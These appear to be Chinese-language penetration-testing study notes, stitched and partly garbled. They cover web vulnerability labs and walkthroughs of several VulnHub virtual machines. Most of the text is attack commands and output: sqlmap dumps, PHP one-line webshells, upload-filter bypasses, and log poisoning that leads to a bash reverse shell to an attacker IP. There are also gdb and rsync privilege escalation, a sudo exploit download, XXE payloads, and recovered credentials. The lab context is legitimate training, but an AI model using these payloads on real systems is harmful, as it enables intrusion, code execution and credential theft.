|_http-favicon: Unknown favicon MD5: 967B30E5E95445E29B882CC82774AC96
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.2.16 (Debian)
开启80和22端口
测试发现注入成功
python3 -m http.server 80
"GET /test.php?o=PHPSESSID=ed249cc35dh9li37au4gig7od1 HTTP/1.1" 404 -
此cookie为admin用户的cookie
"GET /test.php?o=PHPSESSID=eee9e83boqudr4fqn05sr6bvg7 HTTP/1.1" 404 -
SQL注入后,提示错误信息,错误信息包含路径
/var/www/classes/post.php
GET /admin/edit.php?id=2* HTTP/1.1 # *表示只对这一次地方进行检测
Host: 192.168.184.136
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=eee9e83boqudr4fqn05sr6bvg7
Upgrade-Insecure-Requests: 1
sqlmap -r 22.txt
发现存在boolean型注入
sqlmap -r 22.txt --dbs
[*] blog
[*] information_schema
[*] mysql
sqlmap -r 22.txt --D blog --tables
+----------+
| comments |
| posts |
| users |
+----------+
sqlmap -r 22.txt -D blog -T users --dump
+----+-------+---------------------------------------------+
| id | login | password |
+----+-------+---------------------------------------------+
| 1 | admin | 8efe310f9ab3efeae8d410a8e0166eb2 (P4ssw0rd) |
+----+-------+---------------------------------------------+
sqlmap -r 123.txt --file-write="./222.txt" --file-dest="/var/www/classes/shell.php"
#123.txt 为BUrpsuite抓取的数据包
#22.txt 为写入一句话木马文件名
#路径为报错提示的路径
web系统,某些功能模块允许我们上传文件,如果对于上传文件没有做好相应的校验机制,我们将会上传一个webshell文件,以达到控制服务器的目录。一旦webshell被上传,将可以对服务器进行文件读写,或者命令执行。
什么是Webshell
具有一定系统操纵功能的web页面,可以对目标服务器进行控制和命令执行
文件发送通常使用POST方式发送,Burp抓取数据包的时候没有抓取到数据包。、
思路:先发送正常的数据包绕过前端,再从Burpsuite中send以php结尾的文件
<script>
function checkFileExt(filename)
{
var flag = false; //状态
var arr = ["jpg","png","gif"]; //白名单模式
//取出上传文件的扩展名
var index = filename.lastIndexOf(".");
var ext = filename.substr(index+1);
//比较
for(var i=0;i<arr.length;i++)
{
if(ext == arr[i])
{
flag = true; //一旦找到合适的,立即退出循环
break;
}
}
//条件判断
if(!flag)
{
alert("上传的文件不符合要求,请重新选择!");
location.reload(true);
}
}
</script>
绕过前端
方法二
修改返回代码
Content-type
值if(isset($_POST['submit'])){
// var_dump($_FILES);
$mime=array('image/jpg','image/jpeg','image/png');//指定MIME类型,这里只是对MIME类型做了判断。
$save_path='uploads';//指定在当前目录建立一个目录
$upload=upload_sick('uploadfile',$mime,$save_path);//调用函数
if($upload['return']){
$html.="文件上传成功
文件保存的路径为:{$upload['new_path']}
";
}else{
$html.="{$upload['error']}
";
}
}
image/jpeg
将传给服务器的值修改为image/jpeg
copy 1.jpg/b + 1.php/a 222.jpg
/b:二进制
/a:ASCII码
../../unsafeupload/uploads/2022/05/18/2531276284ac39b8828887412532.jpg
http://192.168.184.1/Pikachu/vul/fileinclude/fi_local.php?filename=file1.php&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2
http://192.168.184.1/Pikachu/vul/fileinclude/fi_local.php?filename=../../unsafeupload/uploads/2022/05/18/2531276284ac39b8828887412532.jpg&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2
防范措施:
基于本地的后缀名验证
正常上传jpg格式文件,使用Burpsuite拦截,修改后缀,则可绕过
直接使用插件禁用JS代码
基于MIME文件类型校验
基于后缀名黑名单进行校验
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array('.asp','.aspx','.php','.jsp'); //设置黑名单
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
if(!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
注意取消注释
.htaccess
文件,定义直接作为代码执行的文件名
SetHandler application/x-httpd-php
只要文件名等于
up
统一按照php代码来执行
up.jpg
up.jpg
文件,可以看到文件被执行7版本之前的漏洞
需要7.1以上的版本
auto_prepend_file=1.gif
为内容的user.ini
文件1.gif
user.ini
文件的意思:当前目录所有的php文件自动包含1.gif
user.ini
相当于一个用户自定义的php.ini
需要PHP版本5.4.45
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
发现文件名大小写不严谨漏洞
2.Php
通过查看源代码,发现可以利用特殊符号绕过
传输文件的时候,抓包修改文件名。增加空格和点,绕过检查,服务器收到以后保存不会保存特殊符号,成功执行php
Content-Disposition: form-data; name="upload_file"; filename="1.php ."\
# 服务器收到1.php .
1、去除末尾小数点得到 1.php空格
2、拿着1.php空格与黑名单对比,发现没用匹配,继续上传
3、服务器收到1.php空格,保存文件默认取消空格保存为1.php
发现漏洞:判断文件名的时候使用的最初的文件名
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
1.php.
1.php.
不会保存最后的.,所以保存后的文件名为1.php
::$DATA
做处理此方法仅限于Window系统ntfs分区
系统收到后会当作自己分区符号,不会作为文件名存储
Content-Disposition: form-data; name="upload_file"; filename="1.php::$DATA"
发现做判断的值为初始值
1.php. .
1.php.空格
.
分隔,分为1.php
和.空格
1.php
后缀名双写绕过
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess","ini");
$file_name = trim($_FILES['upload_file']['name']); #自动识别文件名
$file_name = str_ireplace($deny_ext,"", $file_name); # 如果发现文件名有arry里的类型,自动替换为空
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
从左往右匹配
1.pphphp
image/jpeg
利用了文件包含功能,将而已代码包含到功能页面中把那个执行,从而获取webshell
需要在本地上传一个代码文件,后缀名不限,然后通过相对路径进行包含并执行代码。
与getimagesize同理
不需要在本地上传文件,课任意包含远程文件,然后执行,这种文件包含风险更大
http://192.168.184.1/Pikachu/vul/fileinclude/fi_remote.php?filename=http://192.168.184.1/Pikachu/vul/unsafeupload/uploads/2022/05/18/9774366284ab57de478009611930.jpg&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2
# 靶机地址
http://www.vulnhub.com/entry/durian-1,553/
s
#参考
https://blog.csdn.net/LYJ20010728/article/details/119832954
https://blog.csdn.net/weixin_50688050/article/details/118218951
netdiscover -r 192.168.184.0/24
Currently scanning: 192.168.184.0/24 | Screen View: Unique Hosts
6 Captured ARP Req/Rep packets, from 4 hosts. Total size: 360
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
192.168.184.1 00:50:56:c0:00:08 1 60 VMware, Inc.
192.168.184.2 00:50:56:f8:49:8c 2 120 VMware, Inc.
192.168.184.137 00:0c:29:d4:59:5a 2 120 VMware, Inc.
192.168.184.254 00:50:56:e2:c5:b4 1 60 VMware, Inc.
nmap -sC -sV 192.168.184.137 -p- -vv -n --min-rate=2000
22/tcp open ssh syn-ack ttl 64 OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp open http syn-ack ttl 64 Apache httpd 2.4.38 ((Debian))
7080/tcp open ssl/empowerid syn-ack ttl 64 LiteSpeed #可能为8088的后台
8000/tcp open http syn-ack ttl 64 nginx 1.14.2
8088/tcp open radan-http syn-ack ttl 64 LiteSpeed #LiteSpeed类似于Apache
由于账号和密码都是未知,所以不考虑爆破
searchsploit
查看漏洞searchsploit litespeed
feroxbuster
目录探测工具
feroxbuster -u "http://192.168.184.137:8088/"
由于8088和8000端口都开启了http服务,所以都需扫描
200 GET 20l 51w 765c http://192.168.184.137:8088/
301 GET 14l 109w 1260c http://192.168.184.137:8088/cgi-bin => http://192.168.184.137:8088/cgi-bin/
301 GET 14l 109w 1260c http://192.168.184.137:8088/css => http://192.168.184.137:8088/css/
301 GET 14l 109w 1260c http://192.168.184.137:8088/img => http://192.168.184.137:8088/img/
301 GET 14l 109w 1260c http://192.168.184.137:8088/docs => http://192.168.184.137:8088/docs/
301 GET 14l 109w 1260c http://192.168.184.137:8088/docs/css => http://192.168.184.137:8088/docs/css/
301 GET 14l 109w 1260c http://192.168.184.137:8088/docs/img => http://192.168.184.137:8088/docs/img/
301 GET 14l 109w 1260c http://192.168.184.137:8088/docs/zh-CN => http://192.168.184.137:8088/docs/zh-CN/
301 GET 14l 109w 1260c http://192.168.184.137:8088/protected => http://192.168.184.137:8088/protected/
由于账号和密码都是未知,所以不考虑爆破
301 GET 9l 28w 317c http://192.168.184.137/blog => http://192.168.184.137/blog/
301 GET 9l 28w 321c http://192.168.184.137/cgi-data => http://192.168.184.137/cgi-data/
200 GET 20l 51w 765c http://192.168.184.137/
403 GET 9l 28w 280c http://192.168.184.137/server-status
301 GET 9l 28w 329c http://192.168.184.137/blog/wp-includes => http://192.168.184.137/blog/wp-includes/
301 GET 9l 28w 326c http://192.168.184.137/blog/wp-admin => http://192.168.184.137/blog/wp-admin/
301 GET 9l 28w 328c http://192.168.184.137/blog/wp-content => http://192.168.184.137/blog/wp-content/
301 GET 9l 28w 330c http://192.168.184.137/blog/wp-admin/css => http://192.168.184.137/blog/wp-admin/css/
301 GET 9l 28w 333c http://192.168.184.137/blog/wp-admin/images => http://192.168.184.137/blog/wp-admin/images/
301 GET 9l 28w 331c http://192.168.184.137/blog/wp-admin/user => http://192.168.184.137/blog/wp-admin/user/
301 GET 9l 28w 334c http://192.168.184.137/blog/wp-admin/network => http://192.168.184.137/blog/wp-admin/network/
301 GET 9l 28w 332c http://192.168.184.137/blog/wp-admin/maint => http://192.168.184.137/blog/wp-admin/maint/
301 GET 9l 28w 336c http://192.168.184.137/blog/wp-content/uploads => http://192.168.184.137/blog/wp-content/uploads/
301 GET 9l 28w 329c http://192.168.184.137/blog/wp-admin/js => http://192.168.184.137/blog/wp-admin/js/
301 GET 9l 28w 335c http://192.168.184.137/blog/wp-admin/includes => http://192.168.184.137/blog/wp-admin/includes/
301 GET 9l 28w 336c http://192.168.184.137/blog/wp-content/plugins => http://192.168.184.137/blog/wp-content/plugins/
301 GET 9l 28w 335c http://192.168.184.137/blog/wp-content/themes => http://192.168.184.137/blog/wp-content/themes/
301 GET 9l 28w 344c http://192.168.184.137/blog/wp-content/plugins/akismet => http://192.168.184.137/blog/wp-content/plugins/akismet/
http://192.168.184.137/cgi-data/
getlmage.php
DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Documenttitle>
head>
<body>
/*
?php include $_GET['file']; */
body>
html>
发现文件包含漏洞
view-source:http://192.168.184.137/cgi-data/getImage.php?file=../../../../../../../etc/passwd
测试能读,可以包含其他文件
网站被访问的过程文件
/var/log/apache2/access.log
尝试访问,访问不成功,怀疑管理员修改了路径,尝试爆破
view-source:http://192.168.184.137/cgi-data/getImage.php?file=../../../../../../../var/log/durian.log/access.log
发现成功写入日志
<?php system($_GET['x']);?>
#传输一个x的值,让他来执行命令
重新尝试修改为123123,会发现123123之间多了文件名,证明ls执行成功
nc -lvvp 8888
bash -c 'exec bash -i &>/dev/tcp/192.168.184.128/8888 <&1'
GET /cgi-data/getImage.php?file=../../../../../../../var/log/durian.log/access.log&x=bash+-c+'exec+bash+-i+%26>/dev/tcp/192.168.184.128/8888+<%261' HTTP/1.1
Kali提权成功
使用rlwrap nc -lvvp 8888
但是不是交互式的命令
www为安装Apache内置用户,权限相对于普通用户来说较低
python3 -c 'import pty; pty.spawn("/bin/bash")'
进入/home
目录,发现用户durian
ls -al
drwxr-xr-x 2 durian durian 4096 Sep 8 2020 .
drwxr-xr-x 3 root root 4096 Sep 7 2020 ..
-rw------- 1 durian durian 31 Sep 8 2020 .bash_history
-rw-r--r-- 1 durian durian 220 Sep 7 2020 .bash_logout
-rw-r--r-- 1 durian durian 3526 Sep 7 2020 .bashrc
-rw-r--r-- 1 durian durian 807 Sep 7 2020 .profile
sudo -l
(root) NOPASSWD: /sbin/shutdown
(root) NOPASSWD: /bin/ping
ls -al /sbin/shutdown
lrwxrwxrwx 1 root root 14 Apr 27 2020 /sbin/shutdown -> /bin/systemctl
ls -al /bin/systemctl
-rwxr-xr-x 1 root root 868696 Apr 27 2020 /bin/systemctl
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
./linpeas.sh > 123123.txt #输出结果输出到123123.txt
python3 -m http.server 6666 # Durian发送文件到kali
wget http:192.168.184.137:6666/123123.txt #kali下载文件
扫描出的CVE对可尝试使用
# 下载攻击脚本
https://codeload.github.com/blasty/CVE-2021-3156/zip/main
gdb
工具gdb
的权限会非常大/usr/bin/gdb -nx -ex 'python import os; os.setuid(0)' -ex '!sh' -ex quit
# -ex 代表回车
# -nx 不指定前缀命令(不从任何gdbint初始化文件中执行命令)
发现虽然没有显示用户名,但是提权成功
python3 -c 'import pty; pty.spawn("/bin/bash")'
SunCSR_Team.af6d45da1f1181347b9e2139f23c6a5b
具有一定功能的,代码页面,可以通过文件上传漏洞进行部署,具备文件读写、命令执行等功能的web程序
大马
小马
一句话木马
特殊功能木马
eval($_REQUEST['aaa']);?> 同时可以在POST或GET接收参数进行执行
<?php eval($_POST['aaa']);?> 传统的一句话木马
<?php eval($_GET['aaa']);?> //基于GET的手工测试一句话木马
传统的一句话木马客户端
header("content-Type: text/html; charset=gb2312");
if(get_magic_quotes_gpc()) foreach($_POST as $k=>$v) $_POST[$k] = stripslashes($v);
?>
<form method="POST">
保存文件名: <input type="text" name="file" size="60" value=" echo str_replace('\\','/',__FILE__) ?>">
<br><br>
<textarea name="text" COLS="70" ROWS="18" ></textarea>
<br><br>
<input type="submit" name="submit" value="保存">
<form>
<?php
if(isset($_POST['file']))
{
$fp = @fopen($_POST['file'],'wb');
echo @fwrite($fp,$_POST['text']) ? '保存成功!' : '保存失败!';
@fclose($fp);
}
?>
上传成功
@eval($_REQUEST['Yang']);?>
/*
eval可以将括号里的内容作为代码执行
Yang被称为密码
@符号可以屏蔽报错
*/
会发现页面为空,需要给
Yang
赋值才有回显
http://192.168.184.1/one.php?Yang=phpinfo();
http://192.168.184.1/one.php?Yang=system('dir');
cmd
打开
java -jar Cknife.jar
客户端打开
select * from pikachu.users
java -jar godzilla.jar
可以发现发送的数据包和返回的数据包都进行了加密
返回的数据都会添加随机的前缀和后缀
http://www.phpjm.net/
#靶机地址
http://www.vulnhub.com/entry/powergrid-101,485/
#参考文档
https://www.hackingarticles.in/powergrid-1-0-1-vulnhub-walkthrough/
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
192.168.184.1 00:50:56:c0:00:08 3 180 VMware, Inc.
192.168.184.2 00:50:56:f8:49:8c 2 120 VMware, Inc.
192.168.184.138 00:0c:29:9b:a5:f9 2 120 VMware, Inc.
192.168.184.254 00:50:56:e2:c5:b4 1 60 VMware, Inc.
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 64 OpenSSH 5.5p1 Debian 6+squeeze4 (protocol 2.0)
80/tcp open http syn-ack ttl 64 Apache httpd 2.2.16 ((Debian))
获取到三个用户名deez1, p48 and all2
gobuster dir -u http://192.168.184.138 -w /usr/share/seclists/Discovery/Web-Content/big.txt -t 20 -x php
#可以使用更大的字典进行扫描
gobuster dir -u http://192.168.184.138 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20 -x php
/.htaccess.php (Status: 403) [Size: 280]
/.htaccess (Status: 403) [Size: 280]
/.htpasswd.php (Status: 403) [Size: 280]
/.htpasswd (Status: 403) [Size: 280]
/images (Status: 301) [Size: 319] [--> http://192.168.184.138/images/]
/index.php (Status: 200) [Size: 3645]
/server-status (Status: 403) [Size: 280]
/zmail (Status: 401) [Size: 462]
查看/zmail
Decode as Base64
p48:electrico
Hydra -L /tmp/user.txt -P /tmp/pwasswd.txt -f 192.168.184.138 http-get /zmail
可以读取一封电子邮件,其中我们在PGP中有一个加密消息,但是为了能够以普通方式读取其内容,我们需要私钥和密码。它很可能是相同的密码,因为此用户已对多个服务重复使用相同的密码。
查看版本和版本漏洞
https://www.exploit-db.com/exploits/40892
searchsploit Roundcube
locate php/webapps/40892.txt
/usr/share/exploitdb/exploits/php/webapps/40892.txt
cat /usr/share/exploitdb/exploits/php/webapps/40892.txt
发现植入成功
发现第一个Flag
rlwrap nc -lvvp 8888
bash -c 'exec bash -i &>/dev/tcp/192.168.184.128/8888 <&1'
python3 -c 'import pty;pty.spawn("/bin/bash")'
密码公用
我们在他的文件夹“ /home/ ”中找到了gpg 私钥(请记住,这是我们唯一缺少的能够破译文本的密钥) )。
scp privkey.gpg [email protected]:/tmp/
https://www.igolder.com/PGP/decryption/
gpg --import privkey.gpg #密钥
gpg --decrypt massage > id_rsa #需要解密的文件(邮件里获取到的key)
chmod 600 id_rsa
因为获取到了远程登陆的私钥,但是并没有开启22端口,所以查看是否存在Dcoker
我们发现没有打开 SSH 服务,我们记住了“ pivot ”跟踪,检查了连接并找到了一个由“ docker ”工作的服务。
我们为私钥授予 600 权限,并使用它通过 SSH 连接到 docker 并读取第二个标志和下一个提示。
PING 172.17.0.2 (172.17.0.2) 56(84) bytes of data.
64 bytes from 172.17.0.2: icmp_seq=1 ttl=64 time=0.112 ms
64 bytes from 172.17.0.2: icmp_seq=2 ttl=64 time=0.031 ms
sent 434, rcvd 21062
需要用私钥尝试登录
scp [email protected]:/tmp/id_rsa /tmp/
如果不修改权限,SSH会报权限太高的错误
chmod 600 id_rsa
ssh -i id_rsa [email protected]
发现Flag2
047ddcd1f33dfb7d80da3ce04e89df73
Well done for getting flag 2. It looks like this user is fairly unprivileged.
#rsync固定提权语句
sudo rsync -e 'sh -c "sh 0<&2 1>&2"' 127.0.0.1:/dev/null
发现Flag3
009a4ddf6cbdd781c3513da0f77aa6a2
Well done for getting the third flag. Are you any good at pivoting backwards?
root/.ssh/
目录下是否有SSH私钥cd /root/.ssh
ls
ssh -i id_rsa [email protected]
目前所在的Docker0.2,主机为0.1,通过Docker里的私钥返回登录主机
ssh -i id_rsa [email protected]
发现Flag4
网页端的爆破,一般的密码字典很难跑出来,而rockyou这个密码字典又很大,如果不耐心等待的话很难爆破出来。
这台靶机还运行着docker,就相当于有两台靶机
攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己曾经认证过的网站并执行一些操作(如发邮件,发消息,甚至财产操作如转账和购买商品)–通过JS实现,或者第三方网站触发
只要包含正确的Cookie值,密码就可以被修改,但是如果修改了Cookie值以后,就不可以正常访问
python3 -m http.server 808
会发现修改成功
RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。
system()
exec()
通常使用操作系统命令执行中的,与或非关系进行连带命令执行
ping 127.0.0.1 | whoami
192.168.184.1 && ipconfig
evel()
输入命令执行函数语句即可
system('whoami');
system('dir');
任意文件下载
观察发现和文件包含类似
敏感信息泄露
一般出现在代码中的注释信息,可能存在信息泄露额情况
192.168.184.1/Pikachu/vul/urlredirect/urlredirect.php?url=https://www.baidu.com
通过服务器对内部网络进行探测的一种攻击方法。
将链接读取出来,利用文本框显示
当我们访问Server的80端口时,其实访问的是Server映射到WAF上的端口,当存在SSRF漏洞时可以通过Server探测内网情况,访问到Server2
#靶机
http://www.vulnhub.com/entry/presidential-1,500/
#参考
https://www.freebuf.com/articles/network/246534.html
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
192.168.184.1 00:50:56:c0:00:08 2 120 VMware, Inc.
192.168.184.2 00:50:56:f8:49:8c 1 60 VMware, Inc.
192.168.184.140 00:0c:29:be:e8:28 1 60 VMware, Inc.
192.168.184.254 00:50:56:e2:c5:b4 1 60 VMware, Inc.
nmap -sC -sV -p- 192.168.184.140 -vv -n --min-rate=2000
80/tcp open http syn-ack ttl 64 Apache httpd 2.4.6 ((CentOS) PHP/5.5.38)
2082/tcp open ssh syn-ack ttl 64 OpenSSH 7.4 (protocol 2.0)
不同的80端口,在不同域名访问的时候,返回的可能为不同的界面
发现邮箱信息,保留,可能为域名信息
[email protected]
gobuster dir -u http://192.168.184.140 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20 -x php
/assets (Status: 301) [Size: 238] [--> http://192.168.184.140/assets/]
/config.php (Status: 200) [Size: 0]
更换字典查看是否有漏扫
gobuster dir -u http://192.168.184.140 -w /usr/share/seclists/Discovery/Web-Content/big.txt -t 20 -x php
/assets (Status: 301) [Size: 238] [--> http://192.168.184.140/assets/]
/cgi-bin/ (Status: 403) [Size: 210]
/config.php (Status: 200) [Size: 0]
访问/config.php
,发现为空白界面
vim /etc/hosts
nikto -h http://votenow.local
发现3个漏洞
OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST
OSVDB-3268: /icons/: Directory indexing found.
OSVDB-3233: /icons/README: Apache default file found.
概括一下就是"攻击者通过向服务器注入指定的xml实体内容,从而让服务器按照指定的配置进行执行,导致问题",也就是说服务端接收和解析了来自用户端的xml数据,而又没有做严格的安全控制,从而导致xml外部实体注入。
XML 不是 HTML 的替代。
XML 和 HTML 为不同的目的而设计:
HTML 旨在显示信息,而 XML 旨在传输信息。
DOCTYPE ANY [<!ENTITY xxe "abcde" >]>
<value>&xxe;value>
URL-decode
DOCTYPE ANY []>
<value>&xxe;value>
如果开启了此组件,XXE可以使用php://
执行部分的PHP语句,常用的为Base64转换
读取源码的时候,有时候会有标签,如果不进行转换,服务器会先执行,再赋值给对应的变量,所以需要先转换,赋值后再解码
php -r 'system("ls");'
php -r 'echo phpinfo();'
80/tcp open http syn-ack ttl 64 Apache httpd 2.4.27 ((Ubuntu))
5355/tcp open llmnr? syn-ack ttl 1
Apache2的默认页,证明开启了Apache的服务,我们尝试探测目录
# 指定字典扫描
feroxbuster -u http://192.168.184.141 -w /usr/share/seclists/Discovery/Web-Content/big.txt
403 GET 11l 32w 299c http://192.168.184.141/.htpasswd
200 GET 375l 964w 10918c http://192.168.184.141/
403 GET 11l 32w 299c http://192.168.184.141/.htaccess
200 GET 6l 10w 76c http://192.168.184.141/robots.txt
403 GET 11l 32w 303c http://192.168.184.141/server-status
robots.txt
文件限制爬虫,但是有时可以让我们了解到目录结构
xxe
目录feroxbuster -u http://192.168.184.141/xxe -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php
301 GET 9l 28w 320c http://192.168.184.141/xxe/img => http://192.168.184.141/xxe/img/
200 GET 94l 189w 2468c http://192.168.184.141/xxe/admin.php
301 GET 9l 28w 324c http://192.168.184.141/xxe/scripts => http://192.168.184.141/xxe/scripts/
301 GET 9l 28w 316c http://192.168.184.141/xxe => http://192.168.184.141/xxe/
403 GET 11l 32w 294c http://192.168.184.141/.php
301 GET 9l 28w 323c http://192.168.184.141/xxe/styles => http://192.168.184.141/xxe/styles/
200 GET 209l 465w 5460c http://192.168.184.141/xxe/index.php
403 GET 11l 32w 298c http://192.168.184.141/xxe/.php
301 GET 9l 28w 330c http://192.168.184.141/xxe/styles/images => http://192.168.184.141/xxe/styles/images/
301 GET 9l 28w 327c http://192.168.184.141/xxe/scripts/ie => http://192.168.184.141/xxe/scripts/ie/
403 GET 11l 32w 305c http://192.168.184.141/xxe/styles/.php
403 GET 11l 32w 306c http://192.168.184.141/xxe/scripts/.php
发现为XML
DOCTYPE r [<!ELEMENT r ANY >]>
<root><name>&Yang;name><password>hjpassword>root>
因为网页端会显示用户名,所以说才修改用户名
读取admin.php
的源码,转换为Base64,确保数据传输
DOCTYPE r [<!ELEMENT r ANY >]>
<root><name>&Yang;name><password>hjpassword>root>
";
$flag = "Here is the Flag";
echo $flag;
}else {
$msg = 'Maybe Later';
}
}
?>
获取到账户名和密码
administhebest
admin@123
http://192.168.184.141/xxe/flagmeout.php
/etc/.flag.php
,查看源码
]>
&Yang; hj
是一种特殊的加密方式,可以尝试去运行这个文件
因为是php文件,所以增加php前缀
将文件上传到PHPstudy,访问
成功获取Flag
在同一权限级别下的不同账号之间,可以进行无限制的数据访问或功能执行
访问到了其他用户的信息
低权限用户可以访问高权限用户数据或者执行高权限功能的一种情况
虽然普通用户没有添加用户的权限,但是当普通用户访问添加用户页面的时候,也可以执行权限
测试权限,添加成功
#靶机
https://www.vulnhub.com/entry/sp-jerome-v101,303/
#参考
https://www.hackingarticles.in/spjerome-vulnhub-walkthrough/
8080/tcp open http-proxy syn-ack ttl 64 Squid http proxy 3.5.27
|_http-title: ERROR: The requested URL could not be retrieved
|_http-server-header: squid/3.5.27
发现只有运行 squid 代理的端口 8080 处于打开状态
服务器对外只开放8080,如果想访问Server的80端口或者是其他服务器的80端口,需要用服务器做代理,才可以访问
feroxbuster -u http://127.0.0.1 -w /usr/share/seclists/Discovery/Web-Content/big.txt -x php --proxy http://192.168.184.142:8080
200 GET 1l 4w 19c http://127.0.0.1/
200 GET 465l 937w 0c http://127.0.0.1/server-status
server-status
发现还开放了一个端口1337
301 GET 0l 0w 0c http://127.0.0.1:1337/wordpress/index.php => http://127.0.0.1:1337/wordpress/
访问
访问到了内网的服务
使用WordPress,存在通用的指纹识别方法,wp-admin
为登录界面
wpscan
针对WordPress的扫描
wpscan --url http://127.0.0.1:1337/wordpress --proxy http://192.168.184.142:8080 -e u
-e u:枚举用户名
[+] root
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[+] jerome
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
发现两个用户名
root
jerome
wpscan --url http://127.0.0.1:1337/wordpress --proxy http://192.168.184.142:8080 -e u --api-token
wpscan --url http://127.0.0.1:1337/wordpress --proxy http://192.168.184.142:8080 -e u -P /tmp/passwd.txt -U /tmp/user.txt
[!] Valid Combinations Found:
| Username: jerome, Password: jerome
得到账号和密码Username: jerome, Password: jerome
msfconsole
search wp_crop_rce
show options #查看配置
set rhosts 127.0.0.1
set rport 1337
set TARGETURI /wordpress
set USERNAME jerome
